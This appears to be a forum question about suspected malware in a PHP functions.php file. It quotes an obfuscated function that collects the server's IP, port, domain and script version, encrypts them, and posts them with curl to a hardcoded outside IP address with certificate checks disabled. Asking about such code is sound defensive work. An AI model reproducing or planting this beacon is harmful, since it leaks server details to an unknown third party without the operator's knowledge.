What about this exploit in functions.php?
function e8d2c10D926f0AE142B98Eca58c3fA8E()
{
global $D29f3c5494cb370b46f3e907dc61f106;
$D8e9051727e1b7efaff8645e5f502b4b = faf6373dc5544deb7fde8ca0edec35f6(B8a6ea05eEBc7e2E3503Ea794b1a1EE4::aB764Df1CB58e01c3469C421051C501E(base64_encode(b8A6Ea05Eebc7e2E3503Ea794B1A1Ee4::F9970d1b79EA530c074E7c0690e06AC1() . "|" . B8a6ea05EEBC7e2E3503eA794B1A1ee4::$StreamingServers[SERVER_ID]["server_ip"] . "|" . b8A6EA05EebC7e2E3503Ea794B1A1eE4::$StreamingServers[SERVER_ID]["http_broadcast_port"] . "|" . b8A6EA05EeBc7E2e3503eA794b1a1eE4::$StreamingServers[SERVER_ID]["domain_name"] . "|" . SCRIPT_VERSION), "3f2bc98fde16eb08ea43b2bfa3e320bdc44f2a00f00a3d690f40581e2ccb6927"), DCCD7ab03AE35a3c925181831f88503B(32));
$e077c6cf35f8d7ccc52c3094a13b20f2 = array("l_data" => $D8e9051727e1b7efaff8645e5f502b4b);
$b54267655e40c81b7c442690011b9655 = curl_init();
curl_setopt($b54267655e40c81b7c442690011b9655, CURLOPT_URL, "
https://164.132.122.220:4455/roufianos/salagata.php");
curl_setopt($b54267655e40c81b7c442690011b9655, CURLOPT_RETURNTRANSFER, true);
curl_setopt($b54267655e40c81b7c442690011b9655, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($b54267655e40c81b7c442690011b9655, CURLOPT_POST, 1);
curl_setopt($b54267655e40c81b7c442690011b9655, CURLOPT_POSTFIELDS, $e077c6cf35f8d7ccc52c3094a13b20f2);
curl_setopt($b54267655e40c81b7c442690011b9655, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($b54267655e40c81b7c442690011b9655, CURLOPT_SSL_VERIFYHOST, 0);
curl_exec($b54267655e40c81b7c442690011b9655);
curl_close($b54267655e40c81b7c442690011b9655);
}